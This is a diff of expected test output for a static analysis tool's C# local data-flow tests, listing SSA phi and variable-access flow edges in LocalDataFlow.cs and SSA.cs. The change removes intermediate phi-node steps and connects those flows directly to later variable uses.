-| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) |
+| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 |
 | LocalDataFlow.cs:88:32:88:36 | "def" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... |
-| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) |
+| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 |
 | LocalDataFlow.cs:89:15:89:22 | [post] access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 |
 | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 |
 | LocalDataFlow.cs:92:13:92:17 | access to local variable sink8 | LocalDataFlow.cs:92:13:92:33 | SSA def(sink8) |
@@ -480,14 +479,12 @@
 | LocalDataFlow.cs:307:18:307:33 | String nonSink17 | LocalDataFlow.cs:307:18:307:33 | SSA def(nonSink17) |
 | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) |
 | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) | LocalDataFlow.cs:315:15:315:20 | access to local variable sink73 |
-| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) |
+| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 |
 | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... |
 | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:314:31:314:38 | access to local variable nonSink0 |
 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 |
-| LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 |
-| LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) |
 | LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... |
-| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) |
+| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 |
 | LocalDataFlow.cs:314:13:314:18 | access to local variable sink74 | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) |
 | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | LocalDataFlow.cs:316:15:316:20 | access to local variable sink74 |
 | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... |
@@ -526,12 +523,10 @@
 | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) |
 | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x |
 | LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:13 | access to local variable x |
-| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) |
+| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x |
 | LocalDataFlow.cs:381:13:381:13 | access to local variable x | LocalDataFlow.cs:381:13:381:29 | SSA def(x) |
-| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) |
-| LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) |
+| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x |
 | LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:13 | access to local variable x |
-| LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x |
 | SSA.cs:5:17:5:17 | SSA entry def(this.S) | SSA.cs:67:9:67:14 | access to field S |
 | SSA.cs:5:17:5:17 | this | SSA.cs:67:9:67:12 | this access |
 | SSA.cs:5:26:5:32 | SSA param(tainted) | SSA.cs:8:24:8:30 | access to parameter tainted |
@@ -559,47 +554,38 @@
 | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) |
 | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:30:24:30:31 | access to local variable nonSink0 |
 | SSA.cs:22:16:22:23 | access to local variable ssaSink1 | SSA.cs:22:16:22:28 | SSA def(ssaSink1) |
-| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) |
+| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 |
 | SSA.cs:22:27:22:28 | "" | SSA.cs:22:16:22:23 | access to local variable ssaSink1 |
 | SSA.cs:23:13:23:22 | [post] access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted |
 | SSA.cs:23:13:23:22 | access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted |
 | SSA.cs:23:13:23:33 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) |
-| SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) |
 | SSA.cs:24:13:24:20 | access to local variable ssaSink1 | SSA.cs:24:13:24:31 | SSA def(ssaSink1) |
-| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) |
-| SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) |
-| SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) |
+| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 |
 | SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:20 | access to local variable ssaSink1 |
-| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) |
+| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) |
 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) |
 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:37:24:37:31 | access to local variable ssaSink0 |
-| SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 |
 | SSA.cs:28:16:28:23 | access to local variable nonSink1 | SSA.cs:28:16:28:28 | SSA def(nonSink1) |
-| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) |
+| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 |
 | SSA.cs:28:27:28:28 | "" | SSA.cs:28:16:28:23 | access to local variable nonSink1 |
 | SSA.cs:29:13:29:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted |
 | SSA.cs:29:13:29:22 | access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted |
 | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) |
-| SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) |
 | SSA.cs:30:13:30:20 | access to local variable nonSink1 | SSA.cs:30:13:30:31 | SSA def(nonSink1) |
-| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) |
-| SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) |
-| SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) |
+| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 |
 | SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:20 | access to local variable nonSink1 |
-| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) |
+| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) |
 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) |
 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:49:24:49:31 | access to local variable nonSink0 |
-| SSA.cs:31:9:31:24 | SSA phi(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 |
 | SSA.cs:34:16:34:23 | access to local variable ssaSink2 | SSA.cs:34:16:34:28 | SSA def(ssaSink2) |
-| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) |
+| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
 | SSA.cs:34:27:34:28 | "" | SSA.cs:34:16:34:23 | access to local variable ssaSink2 |
 | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted |
 | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted |
-| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) |
+| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
 | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) |
-| SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) |
 | SSA.cs:37:13:37:20 | access to local variable ssaSink2 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) |
 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:39:21:39:28 | access to local variable ssaSink2 |
 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:41:21:41:28 | access to local variable ssaSink2 |
@@ -610,30 +596,25 @@
 | SSA.cs:38:17:38:26 | [post] access to parameter nonTainted | SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) |
-| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) |
+| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
 | SSA.cs:39:17:39:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) |
-| SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) |
-| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) |
+| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
+| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
+| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
 | SSA.cs:41:17:41:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) |
-| SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) |
-| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
+| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
+| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
 | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) |
 | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:91:24:91:31 | access to local variable ssaSink0 |
-| SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
 | SSA.cs:46:16:46:23 | access to local variable nonSink2 | SSA.cs:46:16:46:28 | SSA def(nonSink2) |
-| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) |
+| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
 | SSA.cs:46:27:46:28 | "" | SSA.cs:46:16:46:23 | access to local variable nonSink2 |
 | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted |
 | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted |
-| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) |
-| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) |
-| SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) |
+| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
+| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
 | SSA.cs:49:13:49:20 | access to local variable nonSink2 | SSA.cs:49:13:49:31 | SSA def(nonSink2) |
 | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:51:21:51:28 | access to local variable nonSink2 |
 | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:53:21:53:28 | access to local variable nonSink2 |
@@ -644,19 +625,14 @@
 | SSA.cs:50:17:50:26 | [post] access to parameter nonTainted | SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) |
-| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) |
-| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) |
-| SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) |
-| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) |
-| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) |
-| SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) |
-| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
-| SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
-| SSA.cs:55:9:55:24 | SSA phi(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
+| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
+| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
+| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
+| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
 | SSA.cs:58:16:58:23 | access to local variable ssaSink3 | SSA.cs:58:16:58:33 | SSA def(ssaSink3) |
 | SSA.cs:58:16:58:33 | SSA def(ssaSink3) | SSA.cs:59:23:59:30 | access to local variable ssaSink3 |
 | SSA.cs:58:27:58:33 | access to parameter tainted | SSA.cs:58:16:58:23 | access to local variable ssaSink3 |
@@ -744,15 +720,14 @@
 | SSA.cs:85:15:85:20 | [post] access to field S | SSA.cs:114:9:114:14 | access to field S |
 | SSA.cs:85:15:85:20 | access to field S | SSA.cs:114:9:114:14 | access to field S |
 | SSA.cs:88:16:88:23 | access to local variable ssaSink4 | SSA.cs:88:16:88:28 | SSA def(ssaSink4) |
-| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) |
+| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
 | SSA.cs:88:27:88:28 | "" | SSA.cs:88:16:88:23 | access to local variable ssaSink4 |
 | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted |
 | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted |
-| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) |
-| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) |
-| SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) |
+| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
+| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
 | SSA.cs:91:13:91:20 | access to local variable ssaSink4 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) |
 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:93:21:93:28 | access to local variable ssaSink4 |
 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:95:21:95:28 | access to local variable ssaSink4 |
@@ -763,33 +738,27 @@
 | SSA.cs:92:17:92:26 | [post] access to parameter nonTainted | SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) |
-| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) |
-| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) |
-| SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) |
-| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) |
-| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) |
-| SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) |
-| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
-| SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
-| SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
+| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
+| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
+| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
+| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | SSA.cs:98:15:98:22 | access to local variable ssaSink4 |
 | SSA.cs:97:23:97:30 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) |
 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) |
 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) |
 | SSA.cs:101:16:101:23 | access to local variable nonSink3 | SSA.cs:101:16:101:28 | SSA def(nonSink3) |
-| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) |
+| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
 | SSA.cs:101:27:101:28 | "" | SSA.cs:101:16:101:23 | access to local variable nonSink3 |
 | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted |
 | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted |
-| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) |
-| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) |
-| SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) |
+| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
+| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
 | SSA.cs:104:13:104:20 | access to local variable nonSink3 | SSA.cs:104:13:104:31 | SSA def(nonSink3) |
 | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:106:21:106:28 | access to local variable nonSink3 |
 | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:108:21:108:28 | access to local variable nonSink3 |
@@ -800,19 +769,14 @@
 | SSA.cs:105:17:105:26 | [post] access to parameter nonTainted | SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) |
-| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) |
-| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) |
-| SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) |
-| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) |
-| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) |
-| SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) |
-| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
-| SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
